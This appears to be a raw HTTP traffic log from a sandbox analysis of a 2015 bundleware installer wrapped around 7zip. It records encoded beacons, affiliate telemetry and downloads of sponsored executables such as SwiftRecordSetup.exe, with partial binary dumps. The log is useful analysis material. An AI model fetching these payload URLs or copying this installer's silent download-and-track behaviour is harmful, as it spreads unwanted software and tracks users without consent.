GET /17416.ashx?e=IwLHwtP2rDdFwtfIvB/2UmmApAOtTiZBjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS  qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/Va6voLBOpwjyETj4nts NPl9AOtqZ1I9ymF904v4t2DFrGu9d81uOU2HdAkQAtbdFqzIYfzwJw3OaT9t kffdDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaPByCfGyRMRTdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasw4bpiPG/cI HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /17416.ashx?e=N6dOqWm8Q95zRTWqMhK920XC18i8H/ZSsVwuRJe93XKMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82CjzcgixbI4T4muiLFL76qdrhEpZL 4aO zY9fV5WloiAKRfuw5Te8UeZLRmueCpr 7rPtSKe/ OEru4A8c8D9DzWhC2rNQ6zIROPie2z407nXsJR6HRCLBPEhRyyBD7Dl617yh4HAWXhuXtiRNzc6pgJ7bW38x7NeNgjp9TKQKgov/gNfyGRxPPinFkosvv9rREKBtez 7WKW/rKS vRXCAOOMT3NqqIfZGLJbNeOy44034t1Q4pu3fndBZnH/Wk11N66AH6x9OIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZSWtRYQP8BPk7xJ9pwygS8wv5UC4LikkOT CD kKuNDT2QuBq8hUxQ8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows 
HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:35 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /17416.ashx?e=LG8dwPiPk7OfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpm5LT87ehXaouB5vT09TkZM1FwykDBwFYl7nMCA Puxn33L58g5Vfvh4hRH7uafCN7AIPnzDq7zLiKIFo3W8f23Wq7IsWCDz5Xs32Kf02UP3ZWIHhdOu4nz3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJjOm3A3nSXCDDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=508161, public, no-transform, must-revalidate

Last-Modified: Tue, 21 Apr 2015 05:29:46 GMT

Expires: Tue, 28 Apr 2015 05:29:46 GMT

Date: Wed, 22 Apr 2015 08:24:50 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015042
1052946Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150421052946Z....20150428052946Z0...*.H........
.........>...H...8W<.n.?.{[email protected].=.*.......U;I#...z
8=....F......7....YN.@.......<..}..*....4.m....9V%..'...R.T..|.:wr.
.........wzM..#.@.......}2._ .1,%..M.......t%...^$%...,....g...J....9.
.|L.)..a...*.(i.8A..ax..x..1..5V.`!.j8g..a..[U..E].......O......0...0.
..0..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....
VeriSign, Inc.1705..U....Class 3 Public Primary Certification Authorit
y0...141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec C
orporation1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3
 PCA - G1 OCSP Responder Certificate 30.."0...*.H.............0.......
...'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..
3-; ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T.
.pS.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]E..
.=._...... ........TE...Sa.s4........r...3.............0..0...U....0.0
l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.
. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U.....
...0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H........
.....$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......
a..D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,font>....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=566635, public, no-transform, must-revalidate

Last-Modified: Tue, 21 Apr 2015 21:45:16 GMT

Expires: Tue, 28 Apr 2015 21:45:16 GMT

Date: Wed, 22 Apr 2015 08:24:50 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
1214516Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150421214516Z....20150428214516Z0...*.H........
........ @H.L.D.Um......v9...Q..Xijo.....;&..W.....q...0..(`I.e.H7..:.
..ENLn.pM..........i.`w.&2*..6]`!P._ .zj3..'6.fS...W8W...X.uV./P...\.j
r......lo....G.&#...;Xb.....D.D.......q!.t..dB.H....yB../..^.U..Hm.0@k
P\X|...........Lu9..s.....?.VeC.kdmd...j..h..k..C4<...#0...0...0...
.......r..?.*......y"..0...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Sign
ing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0...U..
..VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of u
se at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3
 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0..........
...m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d...nz(.
..V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F*]...*
....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."...:.C
.Q.i~rl..<..krS..8.B..o][email protected]..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...*.H...<<< skipped >>>

GET /pin.gif?e=start&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&adv=&v=4.3.0.42 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:08 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:08 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=installer&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&adv=&v=4.3.0.42 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:15 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:15 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2z5psu5fxw71b.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 04:53:22 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-6721"

Expires: Sun, 19 Apr 2015 05:03:22 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 464

X-Cache: Hit from cloudfront

Via: 1.1 1bf0d882921b31997e2650c5d2719973.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mAx1OVRFNI_xrGAQ7EEwIQE4Cq0FcCUTb416JrJQYvu9P8Rc6HQQfg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv= HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:42 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..1..0..

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 586214

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: RefreshHit from cloudfront

Via: 1.1 ab6f2b90dc58e7fbe047690155b87625.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hGCgEgYJWDSVLkDToW9LdWYFa3q6G5myLIbbXTv1k9-p2ED2w-57hw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2z5psu5fxw71b.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:23:50 GMT

Server: nginx

Expires: Sun, 19 Apr 2015 05:03:49 GMT

Cache-Control: max-age=600

Age: 570

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 4f2e718aa66961c793f5bb10e04e2f20.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ArhyCfRRIKaHDoa-QEiba4xjF8wI9Uko6MBWAMracy4Pi6lPgO1j3Q==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Wed, 22 Apr 2
015 08:23:50 GMT..Server: nginx..Expires: Sun, 19 Apr 2015 05:03:49 GM
T..Cache-Control: max-age=600..Age: 570..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 4f2e718aa66961c793f5bb10e04e2f20.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: ArhyCfRRIKaHDoa-QEiba4xjF8wI9Uko
6MBWAMracy4Pi6lPgO1j3Q==..

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.2397808917815326 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.2.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:21:06 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:21:06 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=4&index_in_screen=1&index_in_session=4&0.37298315691108524 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:21:06 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:21:06 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=455696, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 14:59:52 GMT

Expires: Mon, 27 Apr 2015 14:59:52 GMT

Date: Wed, 22 Apr 2015 08:24:56 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
0145952Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150420145952Z....20150427145952Z0...*.H........
.....V.s.:U]#!i-......awW2!...=!z.P=.ry.ZpLz..(.....< uJ...}h.....&
lt;...:.p.Z....N.......}..KD.......>..#..s...V0...e.2.4...X:..p.. .
}.u...H...*..b.D..a.vg..Co..'.tp.....!...]C.....|:V.*.......g.E.$S}...
..}..).............(....}.......'.O....{[email protected].....#0...0.
..0..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Cod
e Signing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0
...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Term
s of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign C
lass 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0....
.........m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d.
..nz(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F
*]...*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."
...:.C.Q.i~rl..<..krS..8.B..o][email protected]
...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.v
erisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS i
ncorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...
U........0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...<<< skipped >>>

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=558155&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:50 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS  qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF35CHo3qBIj7aeeVwEMc36B6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f  ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /sd?is=sm HTTP/1.1

Range: bytes=130816-261632

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:09 GMT

Date: Wed, 22 Apr 2015 08:20:09 GMT

Content-Range: bytes 130816-261632/523264

Content-Length: 130817

Connection: keep-alive
.Y#./[email protected]}R...;B...,..vgQ4...W..O&..
..=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./.
...E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.
........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@...
..#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...
[.6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.
......)..~..b.T.........f...<8...C..$>YC............t..R.....`.*
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn..
..... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..
$...l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j.
.Y......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F....
.G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>.
.=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...
[..[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...
e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./....
..Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......
2.....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>
.v..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*&l
t;  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...g
O.G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A....
.Z...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.
|o.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 04:54:41 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-d66"

Expires: Sun, 19 Apr 2015 05:04:41 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bMe6JaPk6A_pjqxfZCeX3JKxVkK7DCY-vz93iOkhK4ez8lzdVDlkmQ==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
